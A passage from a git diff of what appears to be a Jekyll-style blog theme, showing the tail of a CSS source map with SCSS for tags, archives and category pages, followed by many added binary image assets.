}\n\n .preview-img[data-src] {\n max-width: 100vw;\n border-radius: 0;\n }\n}\n","/*\n Styles for Tab Tags\n*/\n\n.tag {\n border-radius: 0.7em;\n padding: 6px 8px 7px;\n margin-right: 0.8rem;\n line-height: 3rem;\n letter-spacing: 0;\n border: 1px solid var(--tag-border) !important;\n box-shadow: 0 0 3px 0 var(--tag-shadow);\n\n span {\n margin-left: 0.6em;\n font-size: 0.7em;\n font-family: Oswald, sans-serif;\n }\n}\n","/*\n Style for Archives\n*/\n\n#archives {\n letter-spacing: 0.03rem;\n\n $timeline-width: 4px;\n\n %timeline {\n content: '';\n width: $timeline-width;\n position: relative;\n float: left;\n background-color: var(--timeline-color);\n }\n\n .year {\n height: 3.5rem;\n font-size: 1.5rem;\n position: relative;\n left: 2px;\n margin-left: -$timeline-width;\n\n &::before {\n @extend %timeline;\n\n height: 72px;\n left: 79px;\n bottom: 16px;\n }\n\n &:first-child::before {\n @extend %timeline;\n\n height: 32px;\n top: 24px;\n }\n\n /* Year dot */\n &::after {\n content: '';\n display: inline-block;\n position: relative;\n border-radius: 50%;\n width: 12px;\n height: 12px;\n left: 21.5px;\n border: 3px solid;\n background-color: var(--timeline-year-dot-color);\n border-color: var(--timeline-node-bg);\n box-shadow: 0 0 2px 0 #c2c6cc;\n z-index: 1;\n }\n }\n\n ul {\n li {\n font-size: 1.1rem;\n line-height: 3rem;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n\n &:nth-child(odd) {\n background-color: var(--main-bg, #ffffff);\n background-image: linear-gradient(\n to left,\n #ffffff,\n #fbfbfb,\n #fbfbfb,\n #fbfbfb,\n #ffffff\n );\n }\n\n &::before {\n @extend %timeline;\n\n top: 0;\n left: 77px;\n height: 3.1rem;\n }\n }\n\n &:last-child li:last-child::before {\n height: 1.5rem;\n }\n } /* #archives ul */\n\n .date {\n white-space: nowrap;\n display: inline-block;\n position: relative;\n right: 0.5rem;\n\n &.month {\n width: 1.4rem;\n text-align: center;\n }\n\n &.day {\n font-size: 85%;\n font-family: Lato, sans-serif;\n }\n }\n\n a {\n /* post title in Archvies */\n margin-left: 2.5rem;\n position: relative;\n top: 0.1rem;\n\n &:hover {\n border-bottom: none;\n }\n\n &::before {\n /* the dot before post title */\n content: '';\n display: inline-block;\n position: relative;\n border-radius: 50%;\n width: 8px;\n height: 8px;\n float: left;\n top: 1.35rem;\n left: 71px;\n background-color: var(--timeline-node-bg);\n box-shadow: 0 0 3px 0 #c2c6cc;\n z-index: 1;\n }\n }\n} /* #archives */\n\n@media all and (max-width: 576px) {\n #archives {\n margin-top: -1rem;\n\n ul {\n letter-spacing: 0;\n }\n }\n}\n","/*\n Style for Tab Categories\n*/\n\n%category-icon-color {\n color: gray;\n}\n\n.categories {\n margin-bottom: 2rem;\n border-color: var(--categories-border);\n\n &.card,\n .list-group {\n @extend %rounded;\n }\n\n .card-header {\n $radius: calc($base-radius - 1px);\n\n padding: 0.75rem;\n border-radius: $radius;\n border-bottom: 0;\n\n &.hide-border-bottom {\n border-bottom-left-radius: 0;\n border-bottom-right-radius: 0;\n }\n }\n\n i {\n @extend %category-icon-color;\n\n font-size: 86%; /* fontawesome icons */\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n\n &:first-child {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n\n &:last-child {\n border-bottom: 0;\n }\n }\n} /* .categories */\n\n.category-trigger {\n width: 1.7rem;\n height: 1.7rem;\n border-radius: 50%;\n text-align: center;\n color: #6c757d !important;\n\n i {\n position: relative;\n height: 0.7rem;\n width: 1rem;\n transition: transform 300ms ease;\n }\n\n &:hover {\n i {\n color: var(--categories-icon-hover-color);\n }\n }\n}\n\n/* only works on desktop */\n@media (hover: hover) {\n .category-trigger:hover {\n background-color: var(--categories-hover-bg);\n }\n}\n\n.rotate {\n transform: rotate(-90deg);\n}\n","/*\n Style for page Category and Tag\n*/\n\n.dash {\n margin: 0 0.5rem 0.6rem 0.5rem;\n border-bottom: 2px dotted var(--dash-color);\n}\n\n#page-category,\n#page-tag {\n ul > li {\n line-height: 1.5rem;\n padding: 0.6rem 0;\n\n /* dot */\n &::before {\n background: #999999;\n width: 5px;\n height: 5px;\n border-radius: 50%;\n display: block;\n content: '';\n position: relative;\n top: 0.6rem;\n margin-right: 0.5rem;\n }\n\n /* post's title */\n > a {\n @extend %no-bottom-border;\n\n font-size: 1.1rem;\n }\n\n /* post's date */\n > span:last-child {\n white-space: nowrap;\n }\n }\n}\n\n/* tag icon */\n#page-tag h1 > i {\n font-size: 1.2rem;\n}\n\n#page-category h1 > i {\n font-size: 1.25rem;\n}\n\n#page-category,\n#page-tag,\n#access-lastmod {\n a:hover {\n @extend %link-hover;\n\n margin-bottom: -1px; /* Avoid jumping */\n }\n}\n\n@media all and (max-width: 576px) {\n #page-category,\n #page-tag {\n ul > li {\n &::before {\n margin: 0 0.5rem;\n }\n\n > a {\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n }\n }\n }\n}\n"],"file":"style.css"} \ No newline at end of file diff --git a/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png b/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png new file mode 100644 index 0000000000..6152d9e607 Binary files /dev/null and b/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png differ diff --git a/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg b/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg new file mode 100644 index 0000000000..77a9254050 Binary files /dev/null and b/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg differ diff --git a/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg b/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg new file mode 100644 index 0000000000..86e618dd20 Binary files /dev/null and b/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg differ diff --git a/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg b/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg new file mode 100644 index 0000000000..4e6f3f1e3b Binary files /dev/null and b/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg differ diff --git a/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg b/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg new file mode 100644 index 0000000000..34e6388ddb Binary files /dev/null and b/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg differ diff --git a/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg b/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg new file mode 100644 index 0000000000..6963d6bc88 Binary files /dev/null and b/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg differ diff --git a/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png b/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png new file mode 100644 index 0000000000..7a6c8d703e Binary files /dev/null and b/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png differ diff --git a/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png b/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png new file mode 100644 index 0000000000..69e43bac9b Binary files /dev/null and b/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png differ diff --git a/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg b/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg new file mode 100644 index 0000000000..72ff2baf55 Binary files /dev/null and b/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg differ diff --git a/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png b/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png new file mode 100644 index 0000000000..0fcb11bd75 Binary files /dev/null and b/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png differ diff --git a/assets/d414bdbdb8c9/1*LBAlTvz46NJCYgVv1DrfYQ.png b/assets/d414bdbdb8c9/1*LBAlTvz46NJCYgVv1DrfYQ.png new file mode 100644 index 0000000000..758c32aa95 Binary files /dev/null and b/assets/d414bdbdb8c9/1*LBAlTvz46NJCYgVv1DrfYQ.png differ diff --git a/assets/d414bdbdb8c9/1*QUkmTD1WlEzw7cqW97ll6Q.png b/assets/d414bdbdb8c9/1*QUkmTD1WlEzw7cqW97ll6Q.png new file mode 100644 index 0000000000..f1d3d254c9 Binary files /dev/null and b/assets/d414bdbdb8c9/1*QUkmTD1WlEzw7cqW97ll6Q.png differ diff --git a/assets/d414bdbdb8c9/1*QfgJL_Xb9JhgQnPGjU2CXg.png b/assets/d414bdbdb8c9/1*QfgJL_Xb9JhgQnPGjU2CXg.png new file mode 100644 index 0000000000..7dd82138ab Binary files /dev/null and b/assets/d414bdbdb8c9/1*QfgJL_Xb9JhgQnPGjU2CXg.png differ diff --git a/assets/d414bdbdb8c9/1*SRciom_ygU0JDKK9ATY1FQ.png b/assets/d414bdbdb8c9/1*SRciom_ygU0JDKK9ATY1FQ.png new file mode 100644 index 0000000000..50c2eb9c82 Binary files /dev/null and b/assets/d414bdbdb8c9/1*SRciom_ygU0JDKK9ATY1FQ.png differ diff --git a/assets/d414bdbdb8c9/1*TInHsY7Fwb9jHuKJkMJIsw.jpeg b/assets/d414bdbdb8c9/1*TInHsY7Fwb9jHuKJkMJIsw.jpeg new file mode 100644 index 0000000000..3a4df1d175 Binary files /dev/null and b/assets/d414bdbdb8c9/1*TInHsY7Fwb9jHuKJkMJIsw.jpeg differ diff --git a/assets/d414bdbdb8c9/1*U6CDgIAMt2l2vDoFqhwv6A.jpeg b/assets/d414bdbdb8c9/1*U6CDgIAMt2l2vDoFqhwv6A.jpeg new file mode 100644 index 0000000000..9f05f37c39 Binary files /dev/null and b/assets/d414bdbdb8c9/1*U6CDgIAMt2l2vDoFqhwv6A.jpeg differ diff --git a/assets/d414bdbdb8c9/1*aZkQGA3N1cquMLt1wyDGFg.jpeg b/assets/d414bdbdb8c9/1*aZkQGA3N1cquMLt1wyDGFg.jpeg new file mode 100644 index 0000000000..8c5f3a26db Binary files /dev/null and b/assets/d414bdbdb8c9/1*aZkQGA3N1cquMLt1wyDGFg.jpeg differ diff --git a/assets/d414bdbdb8c9/1*hIgRtqKEFs0tsXDxfNTaOg.png b/assets/d414bdbdb8c9/1*hIgRtqKEFs0tsXDxfNTaOg.png new file mode 100644 index 0000000000..7259276aef Binary files /dev/null and b/assets/d414bdbdb8c9/1*hIgRtqKEFs0tsXDxfNTaOg.png differ diff --git a/assets/d414bdbdb8c9/1*i7grToZwE_ixwJTEjI9qtw.jpeg b/assets/d414bdbdb8c9/1*i7grToZwE_ixwJTEjI9qtw.jpeg new file mode 100644 index 0000000000..938b0812a8 Binary files /dev/null and b/assets/d414bdbdb8c9/1*i7grToZwE_ixwJTEjI9qtw.jpeg differ diff --git a/assets/d414bdbdb8c9/1*kp1QDIEwzQtmfzUwZIDTSg.png b/assets/d414bdbdb8c9/1*kp1QDIEwzQtmfzUwZIDTSg.png new file mode 100644 index 0000000000..65ba18e56c Binary files /dev/null and b/assets/d414bdbdb8c9/1*kp1QDIEwzQtmfzUwZIDTSg.png differ diff --git a/assets/d414bdbdb8c9/1*ltXGtEVxkdde1qHGxy3wMw.png b/assets/d414bdbdb8c9/1*ltXGtEVxkdde1qHGxy3wMw.png new file mode 100644 index 0000000000..4a2513818a Binary files /dev/null and b/assets/d414bdbdb8c9/1*ltXGtEVxkdde1qHGxy3wMw.png differ diff --git a/assets/d414bdbdb8c9/1*n_nbqgIlE-E1eaW5QfqkWg.jpeg b/assets/d414bdbdb8c9/1*n_nbqgIlE-E1eaW5QfqkWg.jpeg new file mode 100644 index 0000000000..d1fd87699c Binary files /dev/null and b/assets/d414bdbdb8c9/1*n_nbqgIlE-E1eaW5QfqkWg.jpeg differ diff --git a/assets/d414bdbdb8c9/1*qNXxtTLzEnlArl4UTTWQMw.jpeg b/assets/d414bdbdb8c9/1*qNXxtTLzEnlArl4UTTWQMw.jpeg new file mode 100644 index 0000000000..71e3dfb809 Binary files /dev/null and b/assets/d414bdbdb8c9/1*qNXxtTLzEnlArl4UTTWQMw.jpeg differ diff --git a/assets/d414bdbdb8c9/1*qdoLTotLTaeZPsEHaJ8C7Q.jpeg b/assets/d414bdbdb8c9/1*qdoLTotLTaeZPsEHaJ8C7Q.jpeg new file mode 100644 index 0000000000..37965fc47a Binary files /dev/null and b/assets/d414bdbdb8c9/1*qdoLTotLTaeZPsEHaJ8C7Q.jpeg differ diff --git a/assets/d414bdbdb8c9/1*sndRqvnELhCshb6yyPFhqg.jpeg b/assets/d414bdbdb8c9/1*sndRqvnELhCshb6yyPFhqg.jpeg new file mode 100644 index 0000000000..bf5d6899d0 Binary files /dev/null and b/assets/d414bdbdb8c9/1*sndRqvnELhCshb6yyPFhqg.jpeg differ diff --git a/assets/d414bdbdb8c9/1*ujCxCH3f8HTvSOP5o4xvmA.jpeg b/assets/d414bdbdb8c9/1*ujCxCH3f8HTvSOP5o4xvmA.jpeg new file mode 100644 index 0000000000..f9db611617 Binary files /dev/null and b/assets/d414bdbdb8c9/1*ujCxCH3f8HTvSOP5o4xvmA.jpeg differ diff --git a/assets/d414bdbdb8c9/1*v8Z-5vEM043F82TMiZk2lw.png b/assets/d414bdbdb8c9/1*v8Z-5vEM043F82TMiZk2lw.png new file mode 100644 index 0000000000..bb13e78b1e Binary files /dev/null and b/assets/d414bdbdb8c9/1*v8Z-5vEM043F82TMiZk2lw.png differ diff --git a/assets/d414bdbdb8c9/1*w4E7wf-Kf8XVFxowmDopIw.png b/assets/d414bdbdb8c9/1*w4E7wf-Kf8XVFxowmDopIw.png new file mode 100644 index 0000000000..f18b4d221e Binary files /dev/null and b/assets/d414bdbdb8c9/1*w4E7wf-Kf8XVFxowmDopIw.png differ diff --git a/assets/d414bdbdb8c9/1*yB5s_5rBr4l6hid21huJMQ.jpeg b/assets/d414bdbdb8c9/1*yB5s_5rBr4l6hid21huJMQ.jpeg new file mode 100644 index 0000000000..6c6ac23d44 Binary files /dev/null and b/assets/d414bdbdb8c9/1*yB5s_5rBr4l6hid21huJMQ.jpeg differ diff --git a/assets/d61062833c1a/1*-4vk8fjRwkIVSY4Pu-C6VA.png b/assets/d61062833c1a/1*-4vk8fjRwkIVSY4Pu-C6VA.png new file mode 100644 index 0000000000..dde9eea6ad Binary files /dev/null and b/assets/d61062833c1a/1*-4vk8fjRwkIVSY4Pu-C6VA.png differ diff --git a/assets/d61062833c1a/1*-6FB9vEkju_NszxRrb9LKA.png b/assets/d61062833c1a/1*-6FB9vEkju_NszxRrb9LKA.png new file mode 100644 index 0000000000..89a379c3c3 Binary files /dev/null and b/assets/d61062833c1a/1*-6FB9vEkju_NszxRrb9LKA.png differ diff --git a/assets/d61062833c1a/1*04KBQF7e4lCjQm5XeHgVrA.png b/assets/d61062833c1a/1*04KBQF7e4lCjQm5XeHgVrA.png new file mode 100644 index 0000000000..12f7b975a1 Binary files /dev/null and b/assets/d61062833c1a/1*04KBQF7e4lCjQm5XeHgVrA.png differ diff --git a/assets/d61062833c1a/1*0ZPVBwOR2bB4QPsTGX_yCA.png b/assets/d61062833c1a/1*0ZPVBwOR2bB4QPsTGX_yCA.png new file mode 100644 index 0000000000..db54407f44 Binary files /dev/null and b/assets/d61062833c1a/1*0ZPVBwOR2bB4QPsTGX_yCA.png differ diff --git a/assets/d61062833c1a/1*16JMg7a_YzUHnnY6JtBrGw.png b/assets/d61062833c1a/1*16JMg7a_YzUHnnY6JtBrGw.png new file mode 100644 index 0000000000..747cda5c2b Binary files /dev/null and b/assets/d61062833c1a/1*16JMg7a_YzUHnnY6JtBrGw.png differ diff --git a/assets/d61062833c1a/1*1A3m2zx1hI039TgWt3iU5A.png b/assets/d61062833c1a/1*1A3m2zx1hI039TgWt3iU5A.png new file mode 100644 index 0000000000..f4b540c705 Binary files /dev/null and b/assets/d61062833c1a/1*1A3m2zx1hI039TgWt3iU5A.png differ diff --git a/assets/d61062833c1a/1*2CJuPDtuaTM9P5wIKwPspQ.png b/assets/d61062833c1a/1*2CJuPDtuaTM9P5wIKwPspQ.png new file mode 100644 index 0000000000..0a1438b6e3 Binary files /dev/null and b/assets/d61062833c1a/1*2CJuPDtuaTM9P5wIKwPspQ.png differ diff --git a/assets/d61062833c1a/1*2NEcjJtkDwuQtF-DmnhgOg.jpeg b/assets/d61062833c1a/1*2NEcjJtkDwuQtF-DmnhgOg.jpeg new file mode 100644 index 0000000000..7959db798c Binary files /dev/null and b/assets/d61062833c1a/1*2NEcjJtkDwuQtF-DmnhgOg.jpeg differ diff --git a/assets/d61062833c1a/1*38It1hdMGq-Lr6hlPIcsWQ.png b/assets/d61062833c1a/1*38It1hdMGq-Lr6hlPIcsWQ.png new file mode 100644 index 0000000000..208c78dcff Binary files /dev/null and b/assets/d61062833c1a/1*38It1hdMGq-Lr6hlPIcsWQ.png differ diff --git a/assets/d61062833c1a/1*3qUC2S7sskImnDmXcnqMtg.jpeg b/assets/d61062833c1a/1*3qUC2S7sskImnDmXcnqMtg.jpeg new file mode 100644 index 0000000000..d4b9b70b2c Binary files /dev/null and b/assets/d61062833c1a/1*3qUC2S7sskImnDmXcnqMtg.jpeg differ diff --git a/assets/d61062833c1a/1*54QcEy5QPBt3VXuRSe7-Vw.png b/assets/d61062833c1a/1*54QcEy5QPBt3VXuRSe7-Vw.png new file mode 100644 index 0000000000..e025c6b3cc Binary files /dev/null and b/assets/d61062833c1a/1*54QcEy5QPBt3VXuRSe7-Vw.png differ diff --git a/assets/d61062833c1a/1*5lIcdnMQnmglNxaiY8fNUQ.png b/assets/d61062833c1a/1*5lIcdnMQnmglNxaiY8fNUQ.png new file mode 100644 index 0000000000..78e6a3da88 Binary files /dev/null and b/assets/d61062833c1a/1*5lIcdnMQnmglNxaiY8fNUQ.png differ diff --git a/assets/d61062833c1a/1*63CaYi-HlPWRqxExL-GseQ.jpeg b/assets/d61062833c1a/1*63CaYi-HlPWRqxExL-GseQ.jpeg new file mode 100644 index 0000000000..60415e8cf8 Binary files /dev/null and b/assets/d61062833c1a/1*63CaYi-HlPWRqxExL-GseQ.jpeg differ diff --git a/assets/d61062833c1a/1*6h_t9tPiam735pth-n0AOw.png b/assets/d61062833c1a/1*6h_t9tPiam735pth-n0AOw.png new file mode 100644 index 0000000000..a1f7367836 Binary files /dev/null and b/assets/d61062833c1a/1*6h_t9tPiam735pth-n0AOw.png differ diff --git a/assets/d61062833c1a/1*6vD5h6VQhYMRTpiT5ncfMQ.png b/assets/d61062833c1a/1*6vD5h6VQhYMRTpiT5ncfMQ.png new file mode 100644 index 0000000000..76e16f9268 Binary files /dev/null and b/assets/d61062833c1a/1*6vD5h6VQhYMRTpiT5ncfMQ.png differ diff --git a/assets/d61062833c1a/1*7EF6ghe032Pp832_61Ui0w.png b/assets/d61062833c1a/1*7EF6ghe032Pp832_61Ui0w.png new file mode 100644 index 0000000000..da2e700380 Binary files /dev/null and b/assets/d61062833c1a/1*7EF6ghe032Pp832_61Ui0w.png differ diff --git a/assets/d61062833c1a/1*8IH_AJZn0YHFk5obccmUYg.png b/assets/d61062833c1a/1*8IH_AJZn0YHFk5obccmUYg.png new file mode 100644 index 0000000000..6dd3a1dbb3 Binary files /dev/null and b/assets/d61062833c1a/1*8IH_AJZn0YHFk5obccmUYg.png differ diff --git a/assets/d61062833c1a/1*8OPXRdVPW5xHpe1blQDh6w.png b/assets/d61062833c1a/1*8OPXRdVPW5xHpe1blQDh6w.png new file mode 100644 index 0000000000..4a29f2edce Binary files /dev/null and b/assets/d61062833c1a/1*8OPXRdVPW5xHpe1blQDh6w.png differ diff --git a/assets/d61062833c1a/1*A6Yc9RKCHLEnCLEe591sTw.png b/assets/d61062833c1a/1*A6Yc9RKCHLEnCLEe591sTw.png new file mode 100644 index 0000000000..f8f9f57dfd Binary files /dev/null and b/assets/d61062833c1a/1*A6Yc9RKCHLEnCLEe591sTw.png differ diff --git a/assets/d61062833c1a/1*AgGLiLsyvenK-LRWI9rlKg.png b/assets/d61062833c1a/1*AgGLiLsyvenK-LRWI9rlKg.png new file mode 100644 index 0000000000..7a6c8d703e Binary files /dev/null and b/assets/d61062833c1a/1*AgGLiLsyvenK-LRWI9rlKg.png differ diff --git a/assets/d61062833c1a/1*BG70QTiE-8QNvlp31jDBMA.png b/assets/d61062833c1a/1*BG70QTiE-8QNvlp31jDBMA.png new file mode 100644 index 0000000000..84bfd4f925 Binary files /dev/null and b/assets/d61062833c1a/1*BG70QTiE-8QNvlp31jDBMA.png differ diff --git a/assets/d61062833c1a/1*BXXmUWkal7XjluhLcDaSIQ.png b/assets/d61062833c1a/1*BXXmUWkal7XjluhLcDaSIQ.png new file mode 100644 index 0000000000..4c47e60091 Binary files /dev/null and b/assets/d61062833c1a/1*BXXmUWkal7XjluhLcDaSIQ.png differ diff --git a/assets/d61062833c1a/1*CYKDEtnuCKuSgSbAbunB4A.png b/assets/d61062833c1a/1*CYKDEtnuCKuSgSbAbunB4A.png new file mode 100644 index 0000000000..ae1281e15c Binary files /dev/null and b/assets/d61062833c1a/1*CYKDEtnuCKuSgSbAbunB4A.png differ diff --git a/assets/d61062833c1a/1*DBPCTHNyKBuJIvEJCyexyg.png b/assets/d61062833c1a/1*DBPCTHNyKBuJIvEJCyexyg.png new file mode 100644 index 0000000000..4cb3fc5bc0 Binary files /dev/null and b/assets/d61062833c1a/1*DBPCTHNyKBuJIvEJCyexyg.png differ diff --git a/assets/d61062833c1a/1*DKVg1oWvx0p2K_aYslK5ZQ.png b/assets/d61062833c1a/1*DKVg1oWvx0p2K_aYslK5ZQ.png new file mode 100644 index 0000000000..47bca45cfc Binary files /dev/null and b/assets/d61062833c1a/1*DKVg1oWvx0p2K_aYslK5ZQ.png differ diff --git a/assets/d61062833c1a/1*DUcwdLTKt33Fa-jNlW8MkA.png b/assets/d61062833c1a/1*DUcwdLTKt33Fa-jNlW8MkA.png new file mode 100644 index 0000000000..69e43bac9b Binary files /dev/null and b/assets/d61062833c1a/1*DUcwdLTKt33Fa-jNlW8MkA.png differ diff --git a/assets/d61062833c1a/1*GpUOoQ2b_W7bMeeOlkosoA.jpeg b/assets/d61062833c1a/1*GpUOoQ2b_W7bMeeOlkosoA.jpeg new file mode 100644 index 0000000000..db5debc912 Binary files /dev/null and b/assets/d61062833c1a/1*GpUOoQ2b_W7bMeeOlkosoA.jpeg differ diff --git a/assets/d61062833c1a/1*GyJ-55XxVEcZ6Cb1Q_H-WQ.png b/assets/d61062833c1a/1*GyJ-55XxVEcZ6Cb1Q_H-WQ.png new file mode 100644 index 0000000000..6537fd08df Binary files /dev/null and b/assets/d61062833c1a/1*GyJ-55XxVEcZ6Cb1Q_H-WQ.png differ diff --git a/assets/d61062833c1a/1*H8pb9TKvazhqiKKSCKcwCQ.png b/assets/d61062833c1a/1*H8pb9TKvazhqiKKSCKcwCQ.png new file mode 100644 index 0000000000..e479fe8653 Binary files /dev/null and b/assets/d61062833c1a/1*H8pb9TKvazhqiKKSCKcwCQ.png differ diff --git a/assets/d61062833c1a/1*Ie0WvV5zWNubaYq_hBbeNw.jpeg b/assets/d61062833c1a/1*Ie0WvV5zWNubaYq_hBbeNw.jpeg new file mode 100644 index 0000000000..565144e4ad Binary files /dev/null and b/assets/d61062833c1a/1*Ie0WvV5zWNubaYq_hBbeNw.jpeg differ diff --git a/assets/d61062833c1a/1*JK0omZIhk1fmP1TOkE2dpg.png b/assets/d61062833c1a/1*JK0omZIhk1fmP1TOkE2dpg.png new file mode 100644 index 0000000000..5876126ad5 Binary files /dev/null and b/assets/d61062833c1a/1*JK0omZIhk1fmP1TOkE2dpg.png differ diff --git a/assets/d61062833c1a/1*KTyHirY-qlH1kNTT4a_XjQ.jpeg b/assets/d61062833c1a/1*KTyHirY-qlH1kNTT4a_XjQ.jpeg new file mode 100644 index 0000000000..623e4d16d7 Binary files /dev/null and b/assets/d61062833c1a/1*KTyHirY-qlH1kNTT4a_XjQ.jpeg differ diff --git a/assets/d61062833c1a/1*LCvfyjnvk3yCaoFnsvVhHg.png b/assets/d61062833c1a/1*LCvfyjnvk3yCaoFnsvVhHg.png new file mode 100644 index 0000000000..3e86154aa8 Binary files /dev/null and b/assets/d61062833c1a/1*LCvfyjnvk3yCaoFnsvVhHg.png differ diff --git a/assets/d61062833c1a/1*NbOfqAwIYSUAtJ32hSEOCQ.png b/assets/d61062833c1a/1*NbOfqAwIYSUAtJ32hSEOCQ.png new file mode 100644 index 0000000000..5ff23c3c68 Binary files /dev/null and b/assets/d61062833c1a/1*NbOfqAwIYSUAtJ32hSEOCQ.png differ diff --git a/assets/d61062833c1a/1*QUkmTD1WlEzw7cqW97ll6Q.png b/assets/d61062833c1a/1*QUkmTD1WlEzw7cqW97ll6Q.png new file mode 100644 index 0000000000..f1d3d254c9 Binary files /dev/null and b/assets/d61062833c1a/1*QUkmTD1WlEzw7cqW97ll6Q.png differ diff --git a/assets/d61062833c1a/1*QfgJL_Xb9JhgQnPGjU2CXg.png b/assets/d61062833c1a/1*QfgJL_Xb9JhgQnPGjU2CXg.png new file mode 100644 index 0000000000..7dd82138ab Binary files /dev/null and b/assets/d61062833c1a/1*QfgJL_Xb9JhgQnPGjU2CXg.png differ diff --git a/assets/d61062833c1a/1*Qq-nJr66qoGsXxhPEsUhWw.jpeg b/assets/d61062833c1a/1*Qq-nJr66qoGsXxhPEsUhWw.jpeg new file mode 100644 index 0000000000..617a02dbcc Binary files /dev/null and b/assets/d61062833c1a/1*Qq-nJr66qoGsXxhPEsUhWw.jpeg differ diff --git a/assets/d61062833c1a/1*SRciom_ygU0JDKK9ATY1FQ.png b/assets/d61062833c1a/1*SRciom_ygU0JDKK9ATY1FQ.png new file mode 100644 index 0000000000..50c2eb9c82 Binary files /dev/null and b/assets/d61062833c1a/1*SRciom_ygU0JDKK9ATY1FQ.png differ diff --git a/assets/d61062833c1a/1*SprZwCDHq0gtdlN7O2sc-A.png b/assets/d61062833c1a/1*SprZwCDHq0gtdlN7O2sc-A.png new file mode 100644 index 0000000000..5ace01af7f Binary files /dev/null and b/assets/d61062833c1a/1*SprZwCDHq0gtdlN7O2sc-A.png differ diff --git a/assets/d61062833c1a/1*T5ExI_5aSf7QY5Zj_gJ3eg.png b/assets/d61062833c1a/1*T5ExI_5aSf7QY5Zj_gJ3eg.png new file mode 100644 index 0000000000..a8de1e5446 Binary files /dev/null and b/assets/d61062833c1a/1*T5ExI_5aSf7QY5Zj_gJ3eg.png differ diff --git a/assets/d61062833c1a/1*VO3lfeTe1bxlL3xN3_wtwQ.png b/assets/d61062833c1a/1*VO3lfeTe1bxlL3xN3_wtwQ.png new file mode 100644 index 0000000000..0a8e55f773 Binary files /dev/null and b/assets/d61062833c1a/1*VO3lfeTe1bxlL3xN3_wtwQ.png differ diff --git a/assets/d61062833c1a/1*W5v-uUjhVTik05TLDwM-uQ.png b/assets/d61062833c1a/1*W5v-uUjhVTik05TLDwM-uQ.png new file mode 100644 index 0000000000..74a02e4827 Binary files /dev/null and b/assets/d61062833c1a/1*W5v-uUjhVTik05TLDwM-uQ.png differ diff --git a/assets/d61062833c1a/1*WsHqG3hxgivNfFXakMgVrQ.png b/assets/d61062833c1a/1*WsHqG3hxgivNfFXakMgVrQ.png new file mode 100644 index 0000000000..d632679b5a Binary files /dev/null and b/assets/d61062833c1a/1*WsHqG3hxgivNfFXakMgVrQ.png differ diff --git a/assets/d61062833c1a/1*XPwkmIHRj8WKEM27kH3YQg.png b/assets/d61062833c1a/1*XPwkmIHRj8WKEM27kH3YQg.png new file mode 100644 index 0000000000..0e9bcbe8e8 Binary files /dev/null and b/assets/d61062833c1a/1*XPwkmIHRj8WKEM27kH3YQg.png differ diff --git a/assets/d61062833c1a/1*XaQ75kM9BnKgcmAEl63fPg.png b/assets/d61062833c1a/1*XaQ75kM9BnKgcmAEl63fPg.png new file mode 100644 index 0000000000..c4a12445a9 Binary files /dev/null and b/assets/d61062833c1a/1*XaQ75kM9BnKgcmAEl63fPg.png differ diff --git a/assets/d61062833c1a/1*XvugOM6drupik0wejbBnnA.png b/assets/d61062833c1a/1*XvugOM6drupik0wejbBnnA.png new file mode 100644 index 0000000000..6a0f58e8bd Binary files /dev/null and b/assets/d61062833c1a/1*XvugOM6drupik0wejbBnnA.png differ diff --git a/assets/d61062833c1a/1*aUerPfBPlOhkNGoeiougGA.jpeg b/assets/d61062833c1a/1*aUerPfBPlOhkNGoeiougGA.jpeg new file mode 100644 index 0000000000..3448928c71 Binary files /dev/null and b/assets/d61062833c1a/1*aUerPfBPlOhkNGoeiougGA.jpeg differ diff --git a/assets/d61062833c1a/1*avXovKvXz9mlHOq2NWaf3A.png b/assets/d61062833c1a/1*avXovKvXz9mlHOq2NWaf3A.png new file mode 100644 index 0000000000..a09ed4dfb6 Binary files /dev/null and b/assets/d61062833c1a/1*avXovKvXz9mlHOq2NWaf3A.png differ diff --git a/assets/d61062833c1a/1*brnD44gjwyWEyK14dQYfxQ.jpeg b/assets/d61062833c1a/1*brnD44gjwyWEyK14dQYfxQ.jpeg new file mode 100644 index 0000000000..f84113d698 Binary files /dev/null and 